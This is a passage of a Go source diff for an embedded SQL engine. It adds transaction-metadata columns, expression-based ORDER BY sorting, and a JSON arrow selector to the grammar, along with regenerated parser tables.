1+len(table.cols)) - colsBySel = make(map[string]ColDescriptor, 1+len(table.cols)) - colDescriptor := ColDescriptor{ Table: tableAlias, Column: revCol, Type: IntegerType, } - colsByPos[0] = colDescriptor + colsByPos[off] = colDescriptor colsBySel[colDescriptor.Selector()] = colDescriptor + off++ + } - off = 1 - } else { - colsByPos = make([]ColDescriptor, len(table.cols)) - colsBySel = make(map[string]ColDescriptor, len(table.cols)) + if scanSpecs.IncludeTxMetadata { + colDescriptor := ColDescriptor{ + Table: tableAlias, + Column: txMetadataCol, + Type: JSONType, + } + + colsByPos[off] = colDescriptor + colsBySel[colDescriptor.Selector()] = colDescriptor + off++ } for i, c := range table.cols { @@ -447,9 +467,15 @@ func (r *rawRowReader) Read(ctx context.Context) (*Row, error) { for i, col := range r.colsByPos { var val TypedValue - if col.Column == revCol { + switch col.Column { + case revCol: val = &Integer{val: int64(vref.HC())} - } else { + case txMetadataCol: + val, err = r.parseTxMetadata(vref.TxMetadata()) + if err != nil { + return nil, err + } + default: val = &NullValue{t: col.Type} } @@ -461,6 +487,8 @@ func (r *rawRowReader) Read(ctx context.Context) (*Row, error) { return nil, ErrCorruptedData } + extraCols := r.scanSpecs.extraCols() + voff := 0 cols := int(binary.BigEndian.Uint32(v[voff:])) @@ -505,11 +533,8 @@ func (r *rawRowReader) Read(ctx context.Context) (*Row, error) { return nil, ErrCorruptedData } - if r.scanSpecs.IncludeHistory { - valuesByPosition[pos+1] = val - } else { - valuesByPosition[pos] = val - } + valuesByPosition[pos+extraCols] = val + pos++ valuesBySelector[EncodeSelector("", r.tableAlias, col.colName)] = val @@ -522,6 +547,25 @@ func (r *rawRowReader) Read(ctx context.Context) (*Row, error) { return &Row{ValuesByPosition: valuesByPosition, ValuesBySelector: valuesBySelector}, nil } +func (r *rawRowReader) parseTxMetadata(txmd *store.TxMetadata) (TypedValue, error) { + if txmd == nil { + return &NullValue{t: JSONType}, nil + } + + if extra := txmd.Extra(); extra != nil { + if r.tx.engine.parseTxMetadata == nil { + return nil, fmt.Errorf("unable to parse tx metadata") + } + + md, err := r.tx.engine.parseTxMetadata(extra) + if err != nil { + return nil, fmt.Errorf("%w: %s", ErrInvalidTxMetadata, err) + } + return &JSON{val: md}, nil + } + return &NullValue{t: JSONType}, nil +} + func (r *rawRowReader) Close() error { if r.onCloseCallback != nil { defer r.onCloseCallback() diff --git a/embedded/sql/sort_reader.go b/embedded/sql/sort_reader.go index 1822e84328..23ea509128 100644 --- a/embedded/sql/sort_reader.go +++ b/embedded/sql/sort_reader.go @@ -31,7 +31,6 @@ type sortRowReader struct { rowReader RowReader ordCols []*OrdCol orderByDescriptors []ColDescriptor - sortKeysPositions []int sorter fileSorter resultReader resultReader @@ -57,7 +56,7 @@ func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, e return nil, err } - sortKeysPositions, err := getSortKeysPositions(colPosBySelector, ordCols, rowReader.TableAlias()) + orderByDescriptors, err := getOrderByDescriptors(ordCols, rowReader) if err != nil { return nil, err } @@ -65,9 +64,8 @@ func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, e tx := rowReader.Tx() sr := &sortRowReader{ rowReader: rowReader, - orderByDescriptors: getOrderByDescriptors(descriptors, sortKeysPositions), ordCols: ordCols, - sortKeysPositions: sortKeysPositions, + orderByDescriptors: orderByDescriptors, sorter: fileSorter{ colPosBySelector: colPosBySelector, colTypes: colTypes, @@ -85,22 +83,67 @@ func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, e } } - k1 := make(Tuple, len(sortKeysPositions)) - k2 := make(Tuple, len(sortKeysPositions)) + t1 := make(Tuple, len(ordCols)) + t2 := make(Tuple, len(ordCols)) - sr.sorter.cmp = func(t1, t2 Tuple) int { - sr.extractSortKey(t1, k1) - sr.extractSortKey(t2, k2) + sr.sorter.cmp = func(r1, r2 *Row) (int, error) { + if err := sr.evalSortSelectors(r1, t1); err != nil { + return 0, err + } + + if err := sr.evalSortSelectors(r2, t2); err != nil { + return 0, err + } + + res, idx, err := t1.Compare(t2) + if err != nil { + return 0, err + } - res, idx, _ := k1.Compare(k2) if idx >= 0 { - return res * int(directions[idx]) + return res * int(directions[idx]), nil } - return res + return res, nil } return sr, nil } +func (s *sortRowReader) evalSortSelectors(inRow *Row, out Tuple) error { + for i, col := range s.ordCols { + val, err := col.sel.reduce(s.Tx(), inRow, s.TableAlias()) + if err != nil { + return err + } + out[i] = val + } + return nil +} + +func getOrderByDescriptors(ordCols []*OrdCol, rowReader RowReader) ([]ColDescriptor, error) { + colsBySel, err := rowReader.colsBySelector(context.Background()) + if err != nil { + return nil, err + } + + params := make(map[string]string) + orderByDescriptors := make([]ColDescriptor, len(ordCols)) + for i, col := range ordCols { + sqlType, err := col.sel.inferType(colsBySel, params, rowReader.TableAlias()) + if err != nil { + return nil, err + } + + aggFn, table, col := col.sel.resolve(rowReader.TableAlias()) + orderByDescriptors[i] = ColDescriptor{ + AggFn: aggFn, + Table: table, + Column: col, + Type: sqlType, + } + } + return orderByDescriptors, nil +} + func getColTypes(r RowReader) ([]string, error) { descriptors, err := r.Columns(context.Background()) if err != nil { @@ -114,21 +157,6 @@ func getColTypes(r RowReader) ([]string, error) { return cols, err } -func getSortKeysPositions(colPosBySelector map[string]int, cols []*OrdCol, tableAlias string) ([]int, error) { - sortKeysPositions := make([]int, len(cols)) - for i, col := range cols { - aggFn, table, col := col.sel.resolve(tableAlias) - encSel := EncodeSelector(aggFn, table, col) - - pos, exists := colPosBySelector[encSel] - if !exists { - return nil, ErrColumnDoesNotExist - } - sortKeysPositions[i] = pos - } - return sortKeysPositions, nil -} - func getColPositionsBySelector(desc []ColDescriptor) (map[string]int, error) { colPositionsBySelector := make(map[string]int) for i, desc := range desc { @@ -137,20 +165,6 @@ func getColPositionsBySelector(desc []ColDescriptor) (map[string]int, error) { return colPositionsBySelector, nil } -func (sr *sortRowReader) extractSortKey(t Tuple, out Tuple) { - for i, pos := range sr.sortKeysPositions { - out[i] = t[pos] - } -} - -func getOrderByDescriptors(descriptors []ColDescriptor, sortKeysPositions []int) []ColDescriptor { - orderByDescriptors := make([]ColDescriptor, len(sortKeysPositions)) - for i, pos := range sortKeysPositions { - orderByDescriptors[i] = descriptors[pos] - } - return orderByDescriptors -} - func (sr *sortRowReader) onClose(callback func()) { sr.rowReader.onClose(callback) } diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 0d1767d939..88f24aa92a 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -47,6 +47,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { col *ColSelector sel Selector sels []Selector + jsonFields []string distinct bool ds DataSource tableRef *tableRef @@ -93,6 +94,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %token AGGREGATE_FUNC %token ERROR %token DOT +%token ARROW %left ',' %right AS @@ -118,6 +120,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type val fnCall %type selector %type opt_selectors selectors +%type jsonFields %type col %type opt_distinct opt_all %type ds @@ -657,6 +660,11 @@ selector: { $$ = $1 } +| + col jsonFields + { + $$ = &JSONSelector{ColSelector: $1, fields: $2} + } | AGGREGATE_FUNC '(' '*' ')' { @@ -668,6 +676,17 @@ selector: $$ = &AggColSelector{aggFn: $1, table: $3.table, col: $3.col} } +jsonFields: + ARROW VARCHAR + { + $$ = []string{$2} + } +| + jsonFields ARROW VARCHAR + { + $$ = append($$, $3) + } + col: IDENTIFIER { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index c65c81e00f..ee081ad5ad 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -33,6 +33,7 @@ type yySymType struct { col *ColSelector sel Selector sels []Selector + jsonFields []string distinct bool ds DataSource tableRef *tableRef @@ -145,7 +146,8 @@ const BLOB = 57431 const AGGREGATE_FUNC = 57432 const ERROR = 57433 const DOT = 57434 -const STMT_SEPARATOR = 57435 +const ARROW = 57435 +const STMT_SEPARATOR = 57436 var yyToknames = [...]string{ "$end", @@ -240,6 +242,7 @@ var yyToknames = [...]string{ "AGGREGATE_FUNC", "ERROR", "DOT", + "ARROW", "','", "'+'", "'-'", @@ -264,137 +267,138 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 93, - 65, 161, - 68, 161, - -2, 149, - -1, 227, - 51, 125, - -2, 120, - -1, 267, - 51, 125, - -2, 122, + 65, 164, + 68, 164, + -2, 152, + -1, 231, + 51, 128, + -2, 123, + -1, 272, + 51, 128, + -2, 125, } const yyPrivate = 57344 -const yyLast = 447 +const yyLast = 452 var yyAct = [...]int16{ - 92, 359, 98, 78, 260, 129, 221, 169, 290, 294, - 107, 175, 166, 209, 289, 266, 210, 6, 121, 243, - 190, 57, 124, 20, 330, 180, 281, 219, 280, 253, - 219, 341, 219, 219, 334, 335, 219, 315, 313, 95, - 282, 254, 97, 331, 220, 325, 110, 106, 316, 19, - 77, 314, 295, 108, 109, 148, 305, 276, 111, 91, - 101, 102, 103, 104, 105, 79, 274, 146, 147, 296, - 96, 273, 271, 252, 250, 100, 291, 178, 179, 181, - 142, 143, 145, 144, 238, 183, 237, 207, 148, 126, - 218, 133, 141, 249, 242, 157, 152, 153, 234, 157, - 233, 155, 177, 95, 232, 231, 97, 192, 158, 156, - 110, 106, 154, 142, 143, 145, 144, 108, 109, 358, - 135, 132, 111, 171, 101, 102, 103, 104, 105, 79, - 120, 184, 251, 168, 96, 119, 187, 22, 182, 100, - 148, 80, 172, 195, 196, 197, 198, 199, 200, 80, - 352, 148, 146, 147, 186, 319, 79, 208, 211, 148, - 122, 318, 75, 146, 147, 142, 143, 145, 144, 253, - 239, 212, 206, 219, 128, 226, 142, 143, 145, 144, - 224, 213, 90, 227, 133, 114, 145, 144, 235, 217, - 236, 194, 80, 312, 95, 229, 225, 97, 228, 79, - 173, 110, 106, 311, 248, 241, 286, 131, 108, 109, - 277, 240, 205, 111, 148, 101, 102, 103, 104, 105, - 79, 62, 318, 262, 80, 96, 167, 147, 30, 130, - 100, 264, 302, 288, 270, 31, 275, 256, 258, 142, - 143, 145, 144, 112, 125, 216, 215, 214, 191, 193, - 211, 188, 185, 159, 287, 283, 136, 113, 83, 81, - 278, 191, 293, 10, 12, 11, 285, 284, 73, 297, - 41, 139, 140, 66, 292, 65, 64, 301, 63, 303, - 304, 61, 306, 299, 298, 56, 13, 55, 174, 269, - 20, 45, 211, 7, 329, 8, 9, 14, 15, 151, - 247, 16, 17, 230, 29, 320, 328, 20, 150, 321, - 148, 182, 324, 310, 202, 134, 19, 326, 51, 203, - 309, 201, 204, 42, 82, 72, 50, 332, 360, 361, - 344, 340, 339, 19, 261, 222, 20, 351, 345, 338, - 323, 337, 347, 43, 44, 46, 122, 300, 127, 353, - 350, 39, 52, 53, 356, 354, 357, 48, 349, 342, - 333, 362, 19, 70, 363, 176, 259, 257, 38, 37, - 23, 307, 161, 162, 163, 160, 117, 255, 348, 24, - 28, 85, 263, 40, 137, 84, 223, 54, 2, 272, - 164, 34, 36, 89, 88, 25, 27, 26, 138, 115, - 116, 59, 60, 67, 68, 69, 32, 35, 33, 118, - 170, 49, 244, 245, 246, 86, 21, 317, 123, 149, - 308, 327, 343, 355, 279, 322, 94, 93, 336, 268, - 267, 265, 87, 58, 71, 47, 76, 74, 99, 346, - 165, 189, 18, 5, 4, 3, 1, + 92, 364, 98, 78, 265, 129, 225, 171, 295, 299, + 177, 107, 168, 213, 294, 271, 214, 6, 121, 248, + 194, 57, 124, 20, 335, 286, 182, 285, 223, 258, + 223, 346, 223, 223, 339, 223, 340, 320, 318, 95, + 287, 259, 97, 224, 336, 330, 110, 106, 300, 19, + 77, 91, 321, 108, 109, 150, 319, 310, 111, 281, + 101, 102, 103, 104, 105, 79, 301, 148, 149, 279, + 278, 96, 276, 257, 255, 243, 100, 296, 180, 181, + 183, 144, 145, 147, 146, 242, 185, 222, 211, 126, + 135, 254, 143, 247, 159, 95, 154, 155, 97, 159, + 238, 157, 110, 106, 179, 237, 236, 235, 196, 108, + 109, 160, 158, 156, 111, 137, 101, 102, 103, 104, + 105, 79, 134, 173, 120, 119, 22, 96, 363, 150, + 80, 186, 100, 170, 324, 256, 357, 79, 191, 184, + 80, 188, 174, 150, 75, 199, 200, 201, 202, 203, + 204, 133, 150, 122, 190, 148, 149, 147, 146, 212, + 215, 323, 258, 244, 148, 149, 223, 128, 135, 144, + 145, 147, 146, 216, 210, 241, 114, 230, 144, 145, + 147, 146, 228, 217, 80, 231, 90, 80, 317, 221, + 239, 79, 240, 198, 175, 316, 95, 233, 229, 97, + 232, 189, 323, 110, 106, 30, 291, 282, 253, 246, + 108, 109, 31, 245, 131, 111, 150, 101, 102, 103, + 104, 105, 79, 150, 209, 169, 62, 267, 96, 149, + 274, 307, 293, 100, 280, 269, 130, 176, 275, 263, + 125, 261, 144, 145, 147, 146, 220, 112, 219, 144, + 145, 147, 146, 218, 195, 215, 197, 192, 195, 292, + 288, 187, 161, 138, 113, 283, 83, 298, 10, 12, + 11, 290, 289, 81, 302, 141, 142, 73, 41, 297, + 66, 29, 306, 63, 308, 309, 65, 311, 304, 303, + 64, 13, 61, 56, 55, 20, 45, 215, 7, 334, + 8, 9, 14, 15, 153, 252, 16, 17, 234, 333, + 325, 150, 20, 152, 326, 136, 329, 184, 315, 206, + 82, 19, 331, 51, 207, 314, 205, 208, 72, 42, + 365, 366, 337, 349, 266, 226, 345, 344, 19, 356, + 343, 20, 328, 350, 50, 122, 342, 352, 43, 44, + 46, 305, 127, 39, 358, 355, 48, 354, 347, 361, + 359, 362, 338, 70, 178, 264, 367, 19, 262, 368, + 52, 53, 38, 37, 23, 312, 163, 164, 165, 162, + 260, 34, 40, 117, 353, 268, 139, 84, 227, 54, + 36, 2, 24, 28, 172, 277, 32, 166, 33, 85, + 59, 60, 67, 68, 69, 35, 115, 116, 25, 27, + 26, 89, 88, 140, 49, 249, 250, 251, 118, 86, + 21, 322, 123, 151, 313, 332, 348, 360, 284, 327, + 94, 93, 341, 273, 272, 270, 87, 58, 71, 47, + 132, 76, 74, 99, 351, 167, 193, 18, 5, 4, + 3, 1, } var yyPact = [...]int16{ - 259, -1000, -1000, 38, -1000, -1000, -1000, 335, -1000, -1000, - 372, 221, 383, 384, 329, 328, 301, 187, 261, 268, - 308, -1000, 259, -1000, 252, 252, 252, 362, 204, -1000, - 202, 385, 198, 195, 193, 192, 190, 187, 187, 187, - 319, -1000, 262, -1000, -1000, 185, -1000, 66, -1000, -1000, - 176, 260, 175, 359, 252, 406, -1000, -1000, 375, 39, - 39, -1000, 174, 93, -1000, 371, 400, 35, 30, 293, - 161, 242, -1000, -1000, 298, -1000, 81, 146, -1000, 21, - 92, -1000, 248, 20, 173, 358, 388, -1000, 39, 39, - -1000, 130, 82, 235, -1000, 130, 130, 12, -1000, -1000, - 130, -1000, -1000, -1000, -1000, -1000, 9, -1000, -1000, -1000, - -1000, -1, -1000, 8, 170, 344, 342, 343, 380, 143, - 143, 404, 130, 107, -1000, 206, -1000, 2, 109, -1000, - -1000, 169, 58, 168, -1000, 165, 7, 166, 104, -1000, - -1000, 82, 130, 130, 130, 130, 130, 130, 250, 254, - 128, -1000, 145, 90, 242, -14, 130, 130, 143, -1000, - 165, 164, 163, 162, 102, -11, 80, -1000, -57, 279, - 361, 82, 404, 161, 130, 404, 385, 288, 5, 4, - 0, -2, 146, -5, 146, -1000, -15, -17, -1000, 77, - -1000, 127, 143, -6, 401, 90, 90, 241, 241, 145, - 19, -1000, 229, 130, -7, -1000, -27, -1000, 71, -28, - 76, 82, -60, -1000, -1000, 347, -1000, 401, 326, 155, - 325, 277, 130, 356, 279, -1000, 82, 209, 146, -29, - 368, -30, -35, 153, -44, -1000, -1000, -1000, -1000, 178, - -74, -61, 143, -1000, -1000, -1000, -1000, -1000, 145, -25, - -1000, 122, -1000, 130, -1000, 150, -1000, -24, -1000, -24, - -1000, 130, 82, -31, 277, 293, -1000, 209, 296, -1000, - -1000, 146, 149, 146, 146, -45, 146, 338, -1000, 249, - 118, 108, -1000, -63, -50, -64, -53, 82, -1000, 129, - -1000, 130, 68, 82, -1000, -1000, 143, -1000, 286, -1000, - 2, -1000, -56, -1000, -1000, -1000, -1000, -31, 236, -1000, - 223, -79, -58, -1000, -1000, -1000, -1000, -1000, -24, 315, - -67, -66, 289, 284, 404, 146, -70, -1000, -1000, -1000, - -1000, -1000, -1000, 313, -1000, -1000, 272, 130, 141, 352, - -1000, -1000, 311, 279, 282, 82, 57, -1000, 130, -1000, - 277, 109, 141, 82, -1000, 26, 269, -1000, 109, -1000, - -1000, -1000, 269, -1000, + 264, -1000, -1000, 26, -1000, -1000, -1000, 339, -1000, -1000, + 385, 198, 373, 382, 333, 332, 303, 195, 267, 273, + 307, -1000, 264, -1000, 257, 257, 257, 364, 211, -1000, + 210, 384, 209, 200, 207, 203, 197, 195, 195, 195, + 319, -1000, 265, -1000, -1000, 194, -1000, 47, -1000, -1000, + 190, 256, 183, 361, 257, 410, -1000, -1000, 393, 31, + 31, -1000, 181, 84, -1000, 378, 409, 24, 23, 292, + 157, 247, -1000, -1000, 302, -1000, 73, 153, 58, 21, + 76, -1000, 248, 14, 180, 360, 403, -1000, 31, 31, + -1000, 132, 83, 240, -1000, 132, 132, 12, -1000, -1000, + 132, -1000, -1000, -1000, -1000, -1000, 11, -1000, -1000, -1000, + -1000, -2, -1000, 10, 179, 348, 346, 347, 387, 142, + 142, 388, 132, 100, -1000, 155, -1000, 3, 101, -1000, + -1000, 178, 48, 114, 57, 174, -1000, 171, 7, 173, + 106, -1000, -1000, 83, 132, 132, 132, 132, 132, 132, + 255, 259, 140, -1000, 147, 60, 247, -14, 132, 132, + 142, -1000, 171, 170, 165, 163, 102, -15, 72, -1000, + -59, 279, 363, 83, 388, 157, 132, 388, 384, 293, + 6, 5, 4, -1, 153, -7, 153, -1000, 88, -1000, + -17, -27, -1000, 69, -1000, 129, 142, -8, 404, 60, + 60, 242, 242, 147, 154, -1000, 234, 132, -10, -1000, + -28, -1000, 74, -29, 68, 83, -61, -1000, -1000, 350, + -1000, 404, 327, 156, 324, 277, 132, 359, 279, -1000, + 83, 150, 153, -30, 374, -32, -33, 151, -43, -1000, + -1000, -1000, -1000, -1000, 175, -76, -62, 142, -1000, -1000, + -1000, -1000, -1000, 147, -25, -1000, 122, -1000, 132, -1000, + 149, -1000, -24, -1000, -24, -1000, 132, 83, -35, 277, + 292, -1000, 150, 300, -1000, -1000, 153, 148, 153, 153, + -45, 153, 342, -1000, 254, 110, 103, -1000, -64, -46, + -65, -50, 83, -1000, 108, -1000, 132, 67, 83, -1000, + -1000, 142, -1000, 288, -1000, 3, -1000, -57, -1000, -1000, + -1000, -1000, -35, 239, -1000, 228, -80, -58, -1000, -1000, + -1000, -1000, -1000, -24, 317, -68, -66, 294, 285, 388, + 153, -71, -1000, -1000, -1000, -1000, -1000, -1000, 312, -1000, + -1000, 275, 132, 104, 358, -1000, -1000, 310, 279, 284, + 83, 42, -1000, 132, -1000, 277, 101, 104, 83, -1000, + 34, 271, -1000, 101, -1000, -1000, -1000, 271, -1000, } var yyPgo = [...]int16{ - 0, 446, 388, 445, 444, 443, 17, 442, 441, 20, - 12, 9, 440, 439, 14, 8, 16, 13, 438, 10, - 2, 437, 436, 3, 435, 434, 11, 365, 21, 433, - 432, 182, 431, 15, 430, 429, 0, 18, 428, 427, - 426, 425, 6, 4, 424, 5, 423, 422, 1, 7, - 326, 421, 420, 419, 22, 418, 417, 19, 416, + 0, 451, 391, 450, 449, 448, 17, 447, 446, 20, + 12, 9, 445, 444, 14, 8, 16, 13, 443, 11, + 2, 442, 441, 440, 3, 439, 438, 10, 364, 21, + 437, 436, 186, 435, 15, 434, 433, 0, 18, 432, + 431, 430, 429, 6, 4, 428, 5, 427, 426, 1, + 7, 344, 425, 424, 423, 22, 422, 421, 19, 420, } var yyR1 = [...]int8{ - 0, 1, 2, 2, 58, 58, 3, 3, 3, 4, + 0, 1, 2, 2, 59, 59, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 57, 57, 57, 57, 50, 50, 11, 11, 5, 5, - 5, 5, 56, 56, 55, 55, 54, 12, 12, 14, + 58, 58, 58, 58, 51, 51, 11, 11, 5, 5, + 5, 5, 57, 57, 56, 56, 55, 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, - 19, 8, 8, 9, 44, 44, 44, 51, 51, 52, - 52, 52, 6, 6, 6, 6, 6, 6, 7, 25, - 25, 24, 24, 21, 21, 22, 22, 20, 20, 20, - 23, 23, 26, 26, 26, 26, 26, 26, 26, 26, - 27, 28, 29, 29, 29, 30, 30, 30, 31, 31, - 32, 32, 33, 33, 34, 35, 35, 37, 37, 41, - 41, 38, 38, 42, 42, 43, 43, 47, 47, 49, - 49, 46, 46, 48, 48, 48, 45, 45, 45, 36, - 36, 36, 36, 36, 36, 36, 36, 39, 39, 39, - 39, 53, 53, 40, 40, 40, 40, 40, 40, 40, - 40, + 19, 8, 8, 9, 45, 45, 45, 52, 52, 53, + 53, 53, 6, 6, 6, 6, 6, 6, 7, 26, + 26, 25, 25, 21, 21, 22, 22, 20, 20, 20, + 20, 23, 23, 24, 24, 27, 27, 27, 27, 27, + 27, 27, 27, 28, 29, 30, 30, 30, 31, 31, + 31, 32, 32, 33, 33, 34, 34, 35, 36, 36, + 38, 38, 42, 42, 39, 39, 43, 43, 44, 44, + 48, 48, 50, 50, 47, 47, 49, 49, 49, 46, + 46, 46, 37, 37, 37, 37, 37, 37, 37, 37, + 40, 40, 40, 40, 54, 54, 41, 41, 41, 41, + 41, 41, 41, 41, } var yyR2 = [...]int8{ @@ -407,95 +411,95 @@ var yyR2 = [...]int8{ 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, 0, 1, 2, 1, 4, 2, 2, 3, 2, 13, 0, - 1, 0, 1, 1, 1, 2, 4, 1, 4, 4, - 1, 3, 3, 4, 4, 4, 4, 4, 2, 6, - 1, 2, 0, 2, 2, 0, 2, 2, 2, 1, - 0, 1, 1, 2, 6, 0, 1, 0, 2, 0, - 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, - 4, 2, 4, 0, 1, 1, 0, 1, 2, 1, - 1, 2, 2, 4, 4, 6, 6, 1, 1, 3, - 3, 0, 1, 3, 3, 3, 3, 3, 3, 3, - 4, + 1, 0, 1, 1, 1, 2, 4, 1, 2, 4, + 4, 2, 3, 1, 3, 3, 4, 4, 4, 4, + 4, 2, 6, 1, 2, 0, 2, 2, 0, 2, + 2, 2, 1, 0, 1, 1, 2, 6, 0, 1, + 0, 2, 0, 3, 0, 2, 0, 2, 0, 2, + 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, + 1, 2, 1, 1, 2, 2, 4, 4, 6, 6, + 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, + 3, 3, 3, 4, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 34, 36, 37, 4, 6, 5, 27, 38, 39, 42, 43, -7, 74, - 48, -58, 99, 35, 7, 23, 25, 24, 8, 83, + 48, -59, 100, 35, 7, 23, 25, 24, 8, 83, 7, 14, 23, 25, 8, 23, 8, 40, 40, 50, - -27, 83, 62, 75, 76, 23, 77, -24, 49, -2, - -50, 66, -50, -50, 25, 83, 83, -28, -29, 16, - 17, 83, 26, 83, 83, 83, 83, -27, -27, -27, - 44, -25, 63, 83, -21, 96, -22, -20, -23, 90, - 83, 83, 64, 83, 26, -50, 9, -30, 19, 18, - -31, 20, -36, -39, -40, 64, 95, 67, -20, -18, - 100, 85, 86, 87, 88, 89, 72, -19, 78, 79, - 71, 83, -31, 83, 92, 28, 29, 5, 9, 100, - 100, -37, 53, -55, -54, 83, -6, 50, 93, -45, - 83, 61, 100, 92, 67, 100, 83, 26, 10, -31, - -31, -36, 94, 95, 97, 96, 81, 82, 69, -53, - 73, 64, -36, -36, 100, -36, 100, 100, 100, 83, - 31, 30, 31, 31, 10, -12, -10, 83, -10, -49, - 6, -36, -37, 93, 82, -26, -27, 100, 75, 76, - 23, 77, -19, 83, -20, 83, 96, -23, 83, -8, - -9, 83, 100, 83, 87, -36, -36, -36, -36, -36, - -36, 71, 64, 65, 68, 84, -6, 101, -36, -17, - -16, -36, -10, -9, 83, 83, 83, 87, 101, 93, - 101, -42, 56, 25, -49, -54, -36, -49, -28, -6, - 15, 100, 100, 100, 100, -45, -45, 101, 101, 93, - 84, -10, 100, -57, 11, 12, 13, 71, -36, 100, - 101, 61, 101, 93, 101, 30, -57, 41, 83, 41, - -43, 57, -36, 26, -42, -32, -33, -34, -35, 80, - -45, 101, 21, 101, 101, 83, 101, 32, -9, -44, - 102, 100, 101, -10, -6, -16, 84, -36, 83, -14, - -15, 100, -14, -36, -11, 83, 100, -43, -37, -33, - 51, -45, 83, -45, -45, 101, -45, 33, -52, 71, - 64, 85, 85, 101, 101, 101, 101, -56, 93, 26, - -17, -10, -41, 54, -26, 101, -11, -51, 70, 71, - 103, 101, -15, 45, 101, 101, -38, 52, 55, -49, - -45, 101, 46, -47, 58, -36, -13, -23, 26, 47, - -42, 55, 93, -36, -43, -46, -20, -23, 93, -48, - 59, 60, -20, -48, + -28, 83, 62, 75, 76, 23, 77, -25, 49, -2, + -51, 66, -51, -51, 25, 83, 83, -29, -30, 16, + 17, 83, 26, 83, 83, 83, 83, -28, -28, -28, + 44, -26, 63, 83, -21, 97, -22, -20, -24, 90, + 83, 83, 64, 83, 26, -51, 9, -31, 19, 18, + -32, 20, -37, -40, -41, 64, 96, 67, -20, -18, + 101, 85, 86, 87, 88, 89, 72, -19, 78, 79, + 71, 83, -32, 83, 92, 28, 29, 5, 9, 101, + 101, -38, 53, -56, -55, 83, -6, 50, 94, -46, + 83, 61, -23, 93, 101, 92, 67, 101, 83, 26, + 10, -32, -32, -37, 95, 96, 98, 97, 81, 82, + 69, -54, 73, 64, -37, -37, 101, -37, 101, 101, + 101, 83, 31, 30, 31, 31, 10, -12, -10, 83, + -10, -50, 6, -37, -38, 94, 82, -27, -28, 101, + 75, 76, 23, 77, -19, 83, -20, 83, 93, 87, + 97, -24, 83, -8, -9, 83, 101, 83, 87, -37, + -37, -37, -37, -37, -37, 71, 64, 65, 68, 84, + -6, 102, -37, -17, -16, -37, -10, -9, 83, 83, + 83, 87, 102, 94, 102, -43, 56, 25, -50, -55, + -37, -50, -29, -6, 15, 101, 101, 101, 101, -46, + -46, 87, 102, 102, 94, 84, -10, 101, -58, 11, + 12, 13, 71, -37, 101, 102, 61, 102, 94, 102, + 30, -58, 41, 83, 41, -44, 57, -37, 26, -43, + -33, -34, -35, -36, 80, -46, 102, 21, 102, 102, + 83, 102, 32, -9, -45, 103, 101, 102, -10, -6, + -16, 84, -37, 83, -14, -15, 101, -14, -37, -11, + 83, 101, -44, -38, -34, 51, -46, 83, -46, -46, + 102, -46, 33, -53, 71, 64, 85, 85, 102, 102, + 102, 102, -57, 94, 26, -17, -10, -42, 54, -27, + 102, -11, -52, 70, 71, 104, 102, -15, 45, 102, + 102, -39, 52, 55, -50, -46, 102, 46, -48, 58, + -37, -13, -24, 26, 47, -43, 55, 94, -37, -44, + -47, -20, -24, 94, -49, 59, 60, -20, -49, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 91, 2, 5, 9, 34, 34, 34, 0, 0, 14, - 0, 112, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 110, 89, 84, 85, 0, 87, 0, 92, 3, - 0, 0, 0, 0, 34, 0, 15, 16, 115, 0, - 0, 18, 0, 0, 29, 0, 0, 0, 0, 127, - 0, 0, 90, 86, 0, 93, 94, 146, 97, 0, - 100, 13, 0, 0, 0, 0, 0, 111, 0, 0, - 113, 0, 119, -2, 150, 0, 0, 0, 157, 158, + 0, 115, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 113, 89, 84, 85, 0, 87, 0, 92, 3, + 0, 0, 0, 0, 34, 0, 15, 16, 118, 0, + 0, 18, 0, 0, 29, 0, 0, 0, 0, 130, + 0, 0, 90, 86, 0, 93, 94, 149, 97, 0, + 103, 13, 0, 0, 0, 0, 0, 114, 0, 0, + 116, 0, 122, -2, 153, 0, 0, 0, 160, 161, 0, 60, 61, 62, 63, 64, 0, 66, 67, 68, - 69, 100, 114, 0, 0, 0, 0, 0, 0, 47, - 0, 139, 0, 127, 44, 0, 83, 0, 0, 95, - 147, 0, 0, 0, 35, 0, 0, 0, 0, 116, - 117, 118, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 162, 151, 152, 0, 0, 0, 56, 0, 22, - 0, 0, 0, 0, 0, 0, 48, 52, 0, 133, - 0, 128, 139, 0, 0, 139, 112, 0, 0, 0, - 0, 0, 146, 110, 146, 148, 0, 0, 101, 0, - 71, 0, 0, 0, 30, 163, 164, 165, 166, 167, - 168, 169, 0, 0, 0, 160, 0, 159, 0, 0, - 57, 58, 0, 23, 24, 0, 26, 30, 0, 0, - 0, 135, 0, 0, 133, 45, 46, -2, 146, 0, - 0, 0, 0, 0, 0, 108, 96, 98, 99, 0, - 74, 0, 0, 27, 31, 32, 33, 170, 153, 0, - 154, 0, 70, 0, 21, 0, 28, 0, 53, 0, - 40, 0, 134, 0, 135, 127, 121, -2, 0, 126, - 102, 146, 0, 146, 146, 0, 146, 0, 72, 79, - 0, 0, 19, 0, 0, 0, 0, 59, 25, 